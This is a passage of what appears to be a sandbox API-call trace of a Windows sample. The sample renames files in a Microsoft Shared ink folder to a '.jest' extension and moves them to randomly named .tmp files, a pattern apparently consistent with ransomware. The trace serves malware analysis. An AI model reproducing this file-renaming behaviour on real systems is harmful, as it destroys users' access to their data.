nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rwL_NSKBOv2vHTTGRKW4nZMVGdVOr6HBfdnE7pJkqKArHdp8 jwn7iAmio1xWvSTebTP v7HYl5FDsJU_rjsAZp2lXnAfhEBaVNt.tmp", lpFilePart=0x18e6e4*="rwL_NSKBOv2vHTTGRKW4nZMVGdVOr6HBfdnE7pJkqKArHdp8 jwn7iAmio1xWvSTebTP v7HYl5FDsJU_rjsAZp2lXnAfhEBaVNt.tmp") returned 0x8e [0145.381] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rwL_NSKBOv2vHTTGRKW4nZMVGdVOr6HBfdnE7pJkqKArHdp8 jwn7iAmio1xWvSTebTP v7HYl5FDsJU_rjsAZp2lXnAfhEBaVNt.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5f4c7772, cFileName="NSKBOv2vHTTGRKW4nZMVGdVOr6HBfdnE7pJkqKArHdp8 jwn7iAmio1xWvSTebTP v7HYl5FDsJU_rjsAZp2lXnAfhEBaVNt.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.381] GetLastError () returned 0x2 [0145.381] GetLastError () returned 0x2 [0145.381] SetLastError (dwErrCode=0x2) [0145.381] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.381] CoFreeUnusedLibraries () [0145.381] GetTickCount () returned 0x11562aa [0145.381] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.381] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.381] GetTickCount () returned 0x11562aa [0145.382] IsWindowVisible (hWnd=0x30268) returned 0 [0145.382] Sleep (dwMilliseconds=0x0) [0145.383] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.jest")) returned 0 [0145.383] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpFilePart=0x18e6d8*="ipscht.xml") returned 0x3d [0145.383] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 0x143ce48 [0145.383] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.384] VarBstrFromR4 (in: fltIn=0x47944d92, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.14") returned 0x0 [0145.384] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.384] CoFreeUnusedLibraries () [0145.384] GetTickCount () returned 0x11562aa [0145.384] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.384] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.384] GetTickCount () returned 0x11562aa [0145.384] IsWindowVisible (hWnd=0x30268) returned 0 [0145.384] Sleep (dwMilliseconds=0x0) [0145.391] GetFullPathNameA (in: lpFileName="YAOOtZbqfLXdhYeP-oeyE-NbnfV6ZK53sLDW2OlEBUh1j48vguZ VM7UdPCNnzosoUce6VlSFRBVFVtDA5mWVxqNQlfy7lDIsszps.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YAOOtZbqfLXdhYeP-oeyE-NbnfV6ZK53sLDW2OlEBUh1j48vguZ VM7UdPCNnzosoUce6VlSFRBVFVtDA5mWVxqNQlfy7lDIsszps.tmp", lpFilePart=0x18e708*="YAOOtZbqfLXdhYeP-oeyE-NbnfV6ZK53sLDW2OlEBUh1j48vguZ VM7UdPCNnzosoUce6VlSFRBVFVtDA5mWVxqNQlfy7lDIsszps.tmp") returned 0x8f [0145.391] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", lpFilePart=0x18e708*="ipscht.xml") returned 0x3d [0145.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YAOOtZbqfLXdhYeP-oeyE-NbnfV6ZK53sLDW2OlEBUh1j48vguZ VM7UdPCNnzosoUce6VlSFRBVFVtDA5mWVxqNQlfy7lDIsszps.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yaootzbqflxdhyep-oeye-nbnfv6zk53sldw2olebuh1j48vguz vm7udpcnnzosouce6vlsfrbvfvtda5mwvxqnqlfy7ldisszps.tmp")) returned 0 [0145.391] GetLastError () returned 0x5 [0145.391] GetLastError () returned 0x5 [0145.391] SetLastError (dwErrCode=0x5) [0145.391] GetLastError () returned 0x5 [0145.391] SetLastError (dwErrCode=0x5) [0145.391] GetLastError () returned 0x5 [0145.392] SetLastError (dwErrCode=0x5) [0145.392] GetFullPathNameA (in: lpFileName="YAOOtZbqfLXdhYeP-oeyE-NbnfV6ZK53sLDW2OlEBUh1j48vguZ VM7UdPCNnzosoUce6VlSFRBVFVtDA5mWVxqNQlfy7lDIsszps.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YAOOtZbqfLXdhYeP-oeyE-NbnfV6ZK53sLDW2OlEBUh1j48vguZ VM7UdPCNnzosoUce6VlSFRBVFVtDA5mWVxqNQlfy7lDIsszps.tmp", lpFilePart=0x18e6e4*="YAOOtZbqfLXdhYeP-oeyE-NbnfV6ZK53sLDW2OlEBUh1j48vguZ VM7UdPCNnzosoUce6VlSFRBVFVtDA5mWVxqNQlfy7lDIsszps.tmp") returned 0x8f [0145.392] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YAOOtZbqfLXdhYeP-oeyE-NbnfV6ZK53sLDW2OlEBUh1j48vguZ VM7UdPCNnzosoUce6VlSFRBVFVtDA5mWVxqNQlfy7lDIsszps.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4f4f4159, cFileName="tZbqfLXdhYeP-oeyE-NbnfV6ZK53sLDW2OlEBUh1j48vguZ VM7UdPCNnzosoUce6VlSFRBVFVtDA5mWVxqNQlfy7lDIsszps.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.392] GetLastError () returned 0x2 [0145.392] GetLastError () returned 0x2 [0145.392] SetLastError (dwErrCode=0x2) [0145.392] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.393] CoFreeUnusedLibraries () [0145.393] GetTickCount () returned 0x11562b9 [0145.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.393] GetTickCount () returned 0x11562b9 [0145.393] IsWindowVisible (hWnd=0x30268) returned 0 [0145.393] Sleep (dwMilliseconds=0x0) [0145.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.jest")) returned 0 [0145.396] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpFilePart=0x18e6d8*="ipscsy.xml") returned 0x3d [0145.396] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 0x143ce48 [0145.396] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14f55e4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.397] VarBstrFromR4 (in: fltIn=0x47944d94, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.16") returned 0x0 [0145.397] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.397] CoFreeUnusedLibraries () [0145.397] GetTickCount () returned 0x11562b9 [0145.397] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.397] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.397] GetTickCount () returned 0x11562b9 [0145.397] IsWindowVisible (hWnd=0x30268) returned 0 [0145.397] Sleep (dwMilliseconds=0x0) [0145.409] GetFullPathNameA (in: lpFileName="x_kLvmq4MhIOgP7q50U_LItnHYvB2bvr-7Jl-JVq kJLNI3ik6V36zurBPxaHFtD8OCvGg3HEeLeMDoQiv57ZCRdhi-czZBT5NI.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x_kLvmq4MhIOgP7q50U_LItnHYvB2bvr-7Jl-JVq kJLNI3ik6V36zurBPxaHFtD8OCvGg3HEeLeMDoQiv57ZCRdhi-czZBT5NI.tmp", lpFilePart=0x18e708*="x_kLvmq4MhIOgP7q50U_LItnHYvB2bvr-7Jl-JVq kJLNI3ik6V36zurBPxaHFtD8OCvGg3HEeLeMDoQiv57ZCRdhi-czZBT5NI.tmp") returned 0x8d [0145.409] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", lpFilePart=0x18e708*="ipscsy.xml") returned 0x3d [0145.410] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x_kLvmq4MhIOgP7q50U_LItnHYvB2bvr-7Jl-JVq kJLNI3ik6V36zurBPxaHFtD8OCvGg3HEeLeMDoQiv57ZCRdhi-czZBT5NI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\x_klvmq4mhiogp7q50u_litnhyvb2bvr-7jl-jvq kjlni3ik6v36zurbpxahftd8ocvgg3heelemdoqiv57zcrdhi-czzbt5ni.tmp")) returned 0 [0145.410] GetLastError () returned 0x5 [0145.410] GetLastError () returned 0x5 [0145.410] SetLastError (dwErrCode=0x5) [0145.410] GetLastError () returned 0x5 [0145.410] SetLastError (dwErrCode=0x5) [0145.410] GetLastError () returned 0x5 [0145.410] SetLastError (dwErrCode=0x5) [0145.410] GetFullPathNameA (in: lpFileName="x_kLvmq4MhIOgP7q50U_LItnHYvB2bvr-7Jl-JVq kJLNI3ik6V36zurBPxaHFtD8OCvGg3HEeLeMDoQiv57ZCRdhi-czZBT5NI.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x_kLvmq4MhIOgP7q50U_LItnHYvB2bvr-7Jl-JVq kJLNI3ik6V36zurBPxaHFtD8OCvGg3HEeLeMDoQiv57ZCRdhi-czZBT5NI.tmp", lpFilePart=0x18e6e4*="x_kLvmq4MhIOgP7q50U_LItnHYvB2bvr-7Jl-JVq kJLNI3ik6V36zurBPxaHFtD8OCvGg3HEeLeMDoQiv57ZCRdhi-czZBT5NI.tmp") returned 0x8d [0145.410] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x_kLvmq4MhIOgP7q50U_LItnHYvB2bvr-7Jl-JVq kJLNI3ik6V36zurBPxaHFtD8OCvGg3HEeLeMDoQiv57ZCRdhi-czZBT5NI.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4c6b5f78, cFileName="vmq4MhIOgP7q50U_LItnHYvB2bvr-7Jl-JVq kJLNI3ik6V36zurBPxaHFtD8OCvGg3HEeLeMDoQiv57ZCRdhi-czZBT5NI.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.411] GetLastError () returned 0x2 [0145.411] GetLastError () returned 0x2 [0145.411] SetLastError (dwErrCode=0x2) [0145.411] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.411] CoFreeUnusedLibraries () [0145.411] GetTickCount () returned 0x11562c9 [0145.411] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.411] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.411] GetTickCount () returned 0x11562c9 [0145.411] IsWindowVisible (hWnd=0x30268) returned 0 [0145.411] Sleep (dwMilliseconds=0x0) [0145.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.jest")) returned 0 [0145.413] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpFilePart=0x18e6d8*="ipsdan.xml") returned 0x3d [0145.413] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 0x143ce48 [0145.413] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436ab4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.413] VarBstrFromR4 (in: fltIn=0x47944d96, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.17") returned 0x0 [0145.413] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.414] CoFreeUnusedLibraries () [0145.414] GetTickCount () returned 0x11562c9 [0145.414] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.414] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.414] GetTickCount () returned 0x11562c9 [0145.414] IsWindowVisible (hWnd=0x30268) returned 0 [0145.414] Sleep (dwMilliseconds=0x0) [0145.415] GetFullPathNameA (in: lpFileName="Umc7f_pd2htbYsr00XGk ewKOJngALGQ1V3Pjf1SMKBYekLcedBLEf5ki8Q4Aba6x_hGcTDHYbLSgbYI2GNCl41at2tk8I2IKSui1.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Umc7f_pd2htbYsr00XGk ewKOJngALGQ1V3Pjf1SMKBYekLcedBLEf5ki8Q4Aba6x_hGcTDHYbLSgbYI2GNCl41at2tk8I2IKSui1.tmp", lpFilePart=0x18e708*="Umc7f_pd2htbYsr00XGk ewKOJngALGQ1V3Pjf1SMKBYekLcedBLEf5ki8Q4Aba6x_hGcTDHYbLSgbYI2GNCl41at2tk8I2IKSui1.tmp") returned 0x8f [0145.415] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", lpFilePart=0x18e708*="ipsdan.xml") returned 0x3d [0145.415] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Umc7f_pd2htbYsr00XGk ewKOJngALGQ1V3Pjf1SMKBYekLcedBLEf5ki8Q4Aba6x_hGcTDHYbLSgbYI2GNCl41at2tk8I2IKSui1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\umc7f_pd2htbysr00xgk ewkojngalgq1v3pjf1smkbyeklcedblef5ki8q4aba6x_hgctdhyblsgbyi2gncl41at2tk8i2iksui1.tmp")) returned 0 [0145.415] GetLastError () returned 0x5 [0145.415] GetLastError () returned 0x5 [0145.415] SetLastError (dwErrCode=0x5) [0145.415] GetLastError () returned 0x5 [0145.415] SetLastError (dwErrCode=0x5) [0145.415] GetLastError () returned 0x5 [0145.416] SetLastError (dwErrCode=0x5) [0145.416] GetFullPathNameA (in: lpFileName="Umc7f_pd2htbYsr00XGk ewKOJngALGQ1V3Pjf1SMKBYekLcedBLEf5ki8Q4Aba6x_hGcTDHYbLSgbYI2GNCl41at2tk8I2IKSui1.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Umc7f_pd2htbYsr00XGk ewKOJngALGQ1V3Pjf1SMKBYekLcedBLEf5ki8Q4Aba6x_hGcTDHYbLSgbYI2GNCl41at2tk8I2IKSui1.tmp", lpFilePart=0x18e6e4*="Umc7f_pd2htbYsr00XGk ewKOJngALGQ1V3Pjf1SMKBYekLcedBLEf5ki8Q4Aba6x_hGcTDHYbLSgbYI2GNCl41at2tk8I2IKSui1.tmp") returned 0x8f [0145.416] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Umc7f_pd2htbYsr00XGk ewKOJngALGQ1V3Pjf1SMKBYekLcedBLEf5ki8Q4Aba6x_hGcTDHYbLSgbYI2GNCl41at2tk8I2IKSui1.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x37636d55, cFileName="f_pd2htbYsr00XGk ewKOJngALGQ1V3Pjf1SMKBYekLcedBLEf5ki8Q4Aba6x_hGcTDHYbLSgbYI2GNCl41at2tk8I2IKSui1.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0145.416] GetLastError () returned 0x2 [0145.416] GetLastError () returned 0x2 [0145.416] SetLastError (dwErrCode=0x2) [0145.416] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0145.418] CoFreeUnusedLibraries () [0145.418] GetTickCount () returned 0x11562d9 [0145.418] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.418] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.418] GetTickCount () returned 0x11562d9 [0145.418] IsWindowVisible (hWnd=0x30268) returned 0 [0145.418] Sleep (dwMilliseconds=0x0) [0145.419] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.jest")) returned 0 [0145.419] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpFilePart=0x18e6d8*="ipsdeu.xml") returned 0x3d [0145.419] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x57, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 0x143ce48 [0145.420] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0145.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0145.420] VarBstrFromR4 (in: fltIn=0x47944d98, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75931.19") returned 0x0 [0145.420] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0145.420] CoFreeUnusedLibraries () [0145.420] GetTickCount () returned 0x11562d9 [0145.420] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0145.420] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0145.420] GetTickCount () returned 0x11562d9 [0145.420] IsWindowVisible (hWnd=0x30268) returned 0 [0145.420] Sleep (dwMilliseconds=0x0) [0145.421] GetFullPathNameA (in: lpFileName="glQg-y30Zcdmun_9odC-5iXgPT82sbkrYA9KSRCqVvTV_pmn4wW0P3rHksBbVHMd6oU3KMbRsp5LXEsEXbC98B_S-MHAjg4cjeshe.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\glQg-y30Zcdmun_9odC-5iXgPT82sbkrYA9KSRCqVvTV_pmn4wW0P3rHksBbVHMd6oU3KMbRsp5LXEsEXbC98B_S-MHAjg4cjeshe.tmp", lpFilePart=0x18e708*="glQg-y30Zcdmun_9odC-5iXgPT82sbkrYA9KSRCqVvTV_pmn4wW0P3rHksBbVHMd6oU3KMbRsp5LXEsEXbC98B_S-MHAjg4cjeshe.tmp") returned 0x8f [0145.421] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", lpFilePart=0x18e708*="ipsdeu.xml") returned 0x3d [0145.422] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 